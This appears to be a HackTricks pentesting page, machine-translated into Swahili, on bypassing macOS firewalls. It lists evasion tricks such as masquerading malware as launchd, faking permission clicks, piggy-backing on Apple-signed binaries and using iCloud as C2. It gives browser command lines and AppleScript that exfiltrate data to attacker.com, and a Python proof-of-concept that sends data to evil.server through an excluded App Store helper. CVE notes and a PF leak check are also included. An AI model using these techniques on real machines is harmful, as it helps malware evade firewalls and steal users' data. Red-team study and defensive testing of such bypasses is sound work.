macOS Bypassing Firewalls

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mbinu zilizopatikana

Mbinu zifuatazo zilipatikana zikifanya kazi katika baadhi ya programu za firewall za macOS.

Kutumia majina ya orodha ya ruhusa

  • Kwa mfano, kuita malware kwa majina ya michakato maarufu ya macOS kama launchd

Kibonyezi bandia

  • Ikiwa firewall inahitaji ruhusa kutoka kwa mtumiaji, fanya malware kibonyeze ruhusu

Tumia binaries zilizotiwa saini na Apple

  • Kama curl, lakini pia wengine kama whois

Tovuti maarufu za apple

Firewall inaweza kuwa inaruhusu muunganisho kwa tovuti maarufu za apple kama apple.com au icloud.com. Na iCloud inaweza kutumika kama C2.

Kupanua kwa jumla

Wazo kadhaa za kujaribu kupita firewall

Angalia trafiki inayoruhusiwa

Kujua trafiki inayoruhusiwa kutakusaidia kubaini tovuti ambazo zinaweza kuwa kwenye orodha ya ruhusa au programu zipi zimepewa ruhusa kuziaccess.

bash
lsof -i TCP -sTCP:ESTABLISHED

Kutumia DNS

Marekebisho ya DNS yanafanywa kupitia mdnsreponder programu iliyosainiwa ambayo labda itaruhusiwa kuwasiliana na seva za DNS.

https://www.youtube.com/watch?v=UlT5KFTMn2k

Kupitia programu za kivinjari

  • oascript
applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome
bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
  • Firefox
bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Kupitia sindikizo za michakato

Ikiwa unaweza kuiingiza msimbo katika mchakato ambao unaruhusiwa kuungana na seva yoyote unaweza kupita ulinzi wa firewall:

macOS Process Abuse


Uthibitisho wa hivi karibuni wa kupita firewall ya macOS (2023-2025)

Kupita chujio cha maudhui ya wavuti (Screen Time) – CVE-2024-44206

Mnamo Julai 2024 Apple ilirekebisha hitilafu muhimu katika Safari/WebKit ambayo ilivunja “Chujio cha maudhui ya wavuti” kinachotumiwa na udhibiti wa wazazi wa Screen Time. URI iliyoundwa kwa njia maalum (kwa mfano, yenye “://” iliyokodishwa mara mbili) haitambuliwi na ACL ya Screen Time lakini inakubaliwa na WebKit, hivyo ombi linawekwa nje bila kuchujwa. Mchakato wowote unaoweza kufungua URL (ikiwemo msimbo ulio katika sanduku au usio na saini) unaweza hivyo kufikia maeneo ambayo yamezuiliwa waziwazi na mtumiaji au profaili ya MDM.

Jaribio la vitendo (sistimu isiyo na marekebisho):

bash
open "http://attacker%2Ecom%2F./"   # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page

Packet Filter (PF) bug ya kuagiza sheria katika macOS 14 “Sonoma”

Wakati wa mzunguko wa beta wa macOS 14, Apple ilianzisha kurudi nyuma katika kifuniko cha nafasi ya mtumiaji kilichozunguka pfctl. Sheria ambazo ziliongezwa kwa neno la quick (linalotumiwa na swichi nyingi za VPN) zilipuuziliwa mbali kimya, na kusababisha uvujaji wa trafiki hata wakati GUI ya VPN/firewall iliripoti imezuiwa. Hitilafu hiyo ilithibitishwa na wauzaji kadhaa wa VPN na kurekebishwa katika RC 2 (ujenzi 23A344).

Quick leak-check:

bash
pfctl -sr | grep quick       # rules are present…
sudo tcpdump -n -i en0 not port 53   # …but packets still leave the interface

Abusing Apple-signed helper services (legacy – pre-macOS 11.2)

Kabla ya macOS 11.2, ContentFilterExclusionList iliruhusu ~50 Apple binaries kama nsurlsessiond na App Store kupita firewall zote za socket-filter zilizotekelezwa na mfumo wa Network Extension (LuLu, Little Snitch, nk.). Malware inaweza tu kuanzisha mchakato ulioondolewa—au kuingiza msimbo ndani yake—na kupitisha trafiki yake mwenyewe kupitia socket ambayo tayari inaruhusiwa. Apple iliondoa kabisa orodha ya kuondolewa katika macOS 11.2, lakini mbinu hii bado inahusiana kwenye mifumo ambayo haiwezi kuboreshwa.

Example proof-of-concept (pre-11.2):

python
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")

Vidokezo vya zana za kisasa za macOS

  1. Kagua sheria za sasa za PF ambazo moto wa GUI unazalisha:
bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
  1. Orodhesha binaries ambazo tayari zina outgoing-network entitlement (inayofaa kwa piggy-backing):
bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
  1. Jisajili kimaandishi mwenyewe mfiltri wa maudhui ya Network Extension katika Objective-C/Swift. Mfano mdogo usio na mizizi unaoelekeza pakiti kwa soketi ya ndani upo katika msimbo wa chanzo wa Patrick Wardle’s LuLu.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks